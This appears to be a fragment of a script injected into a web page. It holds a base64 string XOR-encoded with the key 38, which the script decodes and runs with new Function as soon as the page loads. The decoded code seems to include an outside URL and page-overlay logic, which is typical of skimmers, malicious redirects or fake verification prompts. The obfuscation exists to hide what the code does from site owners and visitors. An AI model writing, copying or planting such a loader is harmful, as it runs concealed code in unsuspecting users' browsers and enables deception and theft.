_0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>